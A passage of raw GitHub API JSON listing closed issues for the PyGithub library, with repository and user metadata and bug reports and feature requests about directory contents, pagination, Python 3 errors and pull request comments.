v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"The GitHub API returns a list of all files in a directory when you use Get Contents on a directory.\r\n\r\nexample:\r\nhttps://api.github.com/repos/twitter/bootstrap/contents/js/?ref=d28343dc3ad53a411ae3685e7d6a7866c8c22d6b\r\n\r\nCurrently PyGithub only returns None when using this API to query a directory."},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/145","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/145/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/145/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/145/events","html_url":"https://github.com/jacquev6/PyGithub/issues/145","id":11844658,"number":145,"title":"Configure default requests with per_page=100","user":{"login":"ptwobrussell","id":98668,"avatar_url":"https://secure.gravatar.com/avatar/322a50ffdb98591460f05015770b7adb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"322a50ffdb98591460f05015770b7adb","url":"https://api.github.com/users/ptwobrussell","html_url":"https://github.com/ptwobrussell","followers_url":"https://api.github.com/users/ptwobrussell/followers","following_url":"https://api.github.com/users/ptwobrussell/following{/other_user}","gists_url":"https://api.github.com/users/ptwobrussell/gists{/gist_id}","starred_url":"https://api.github.com/users/ptwobrussell/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ptwobrussell/subscriptions","organizations_url":"https://api.github.com/users/ptwobrussell/orgs","repos_url":"https://api.github.com/users/ptwobrussell/repos","events_url":"https://api.github.com/users/ptwobrussell/events{/privacy}","received_events_url":"https://api.github.com/users/ptwobrussell/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/23","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/23/labels","id":282556,"number":23,"title":"Version 1.13.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":6,"state":"closed","created_at":"2013-03-07T08:43:38Z","updated_at":"2013-03-22T17:44:33Z","due_on":null},"comments":6,"created_at":"2013-03-09T21:47:07Z","updated_at":"2013-03-21T20:47:58Z","closed_at":"2013-03-21T20:47:58Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"Per http://developer.github.com/v3/#pagination, the max items that can possibly be requested is 100 as opposed to the default of 30. From what I can tell, the default is used in all requests and there's no way to override it without modifying the source. Hence, about 1/3 of the available data is being returned on lots of requests\r\n\r\nIs there a reason not to go ahead and add a default per_page=100 to all API requests? Best case, it results in faster access to data, and worst case, it has no effect. For my particular uses, I'm making lots of requests, and a speedup of ~3.3x would be a big help.\r\n\r\nThoughts?"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/153","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/153/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/153/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/153/events","html_url":"https://github.com/jacquev6/PyGithub/issues/153","id":12566144,"number":153,"title":"Error \"500 None\" in python3","user":{"login":"sebastianstigler","id":772197,"avatar_url":"https://secure.gravatar.com/avatar/c3249014be386ebc7e509c25260c8a8b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"c3249014be386ebc7e509c25260c8a8b","url":"https://api.github.com/users/sebastianstigler","html_url":"https://github.com/sebastianstigler","followers_url":"https://api.github.com/users/sebastianstigler/followers","following_url":"https://api.github.com/users/sebastianstigler/following{/other_user}","gists_url":"https://api.github.com/users/sebastianstigler/gists{/gist_id}","starred_url":"https://api.github.com/users/sebastianstigler/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sebastianstigler/subscriptions","organizations_url":"https://api.github.com/users/sebastianstigler/orgs","repos_url":"https://api.github.com/users/sebastianstigler/repos","events_url":"https://api.github.com/users/sebastianstigler/events{/privacy}","received_events_url":"https://api.github.com/users/sebastianstigler/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":null,"comments":6,"created_at":"2013-03-28T14:17:05Z","updated_at":"2013-03-28T19:33:19Z","closed_at":"2013-03-28T19:12:42Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"Hi, \r\nIm using PyGithub (1.13.0, installed with pip and pip-3.2) on Ubuntu 12.04 with python version 2.7.3 (there it works just fine) an version 3.2.3 where i get some issues\r\n\r\nI posted the testcase and the testouput for the run with python3 here:\thttps://gist.github.com/8efb393ddaefc614f225\r\n\r\nFYI: I ran the testsuite too(`python3 -m github.tests`). The result was \r\n \r\n Ran 319 tests in 1.630s\r\n\r\n OK\r\n\r\nCheers,\r\nSebastian"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/59","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/59/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/59/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/59/events","html_url":"https://github.com/jacquev6/PyGithub/issues/59","id":6353712,"number":59,"title":"No Comments returned for PullRequest","user":{"login":"nixoz2k7","id":1027413,"avatar_url":"https://secure.gravatar.com/avatar/2a16046c75f59710161ea486d1f5881d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2a16046c75f59710161ea486d1f5881d","url":"https://api.github.com/users/nixoz2k7","html_url":"https://github.com/nixoz2k7","followers_url":"https://api.github.com/users/nixoz2k7/followers","following_url":"https://api.github.com/users/nixoz2k7/following{/other_user}","gists_url":"https://api.github.com/users/nixoz2k7/gists{/gist_id}","starred_url":"https://api.github.com/users/nixoz2k7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nixoz2k7/subscriptions","organizations_url":"https://api.github.com/users/nixoz2k7/orgs","repos_url":"https://api.github.com/users/nixoz2k7/repos","events_url":"https://api.github.com/users/nixoz2k7/events{/privacy}","received_events_url":"https://api.github.com/users/nixoz2k7/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/10","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/10/labels","id":169989,"number":10,"title":"Version 1.6","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":9,"state":"closed","created_at":"2012-09-04T20:12:30Z","updated_at":"2012-09-08T18:00:28Z","due_on":"2012-09-13T07:00:00Z"},"comments":7,"created_at":"2012-08-21T15:33:36Z","updated_at":"2012-09-08T14:53:08Z","closed_at":"2012-09-08T13:20:03Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"Hello, here is the problem.\nNo Comments returned. But comments count showing proper value.\n\np = z.pulls[1]\np\nOUTPUT: \nOUTPUT: u'\\u041d\\u0435 \\u043f\\u0440\\u0438\\u043d\\u0438\\u043c\\u0430\\u0442\\u044c =)'\np.comments\nOUTPUT: 1\np.get_comments()\nOUTPUT: \nlist(p.get_comments())\nOUTPUT: []\n\nAny ideas ?\n"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/121","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/121/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/121/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/121/events","html_url":"https://github.com/jacquev6/PyGithub/issues/121","id":9323084,"number":121,"title":"Update AuthenticatedUser.get_repo to accept a full repo path","user":{"login":"lwc","id":336402,"avatar_url":"https://secure.gravatar.com/avatar/79df912986253edb50f9b077acd5acf9?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"79df912986253edb50f9b077acd5acf9","url":"https://api.github.com/users/lwc","html_url":"https://github.com/lwc","followers_url":"https://api.github.com/users/lwc/followers","following_url":"https://api.github.com/users/lwc/following{/other_user}","gists_url":"https://api.github.com/users/lwc/gists{/gist_id}","starred_url":"https://api.github.com/users/lwc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/lwc/subscriptions","organizations_url":"https://api.github.com/users/lwc/orgs","repos_url":"https://api.github.com/users/lwc/repos","events_url":"https://api.github.com/users/lwc/events{/privacy}","received_events_url":"https://api.github.com/users/lwc/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by 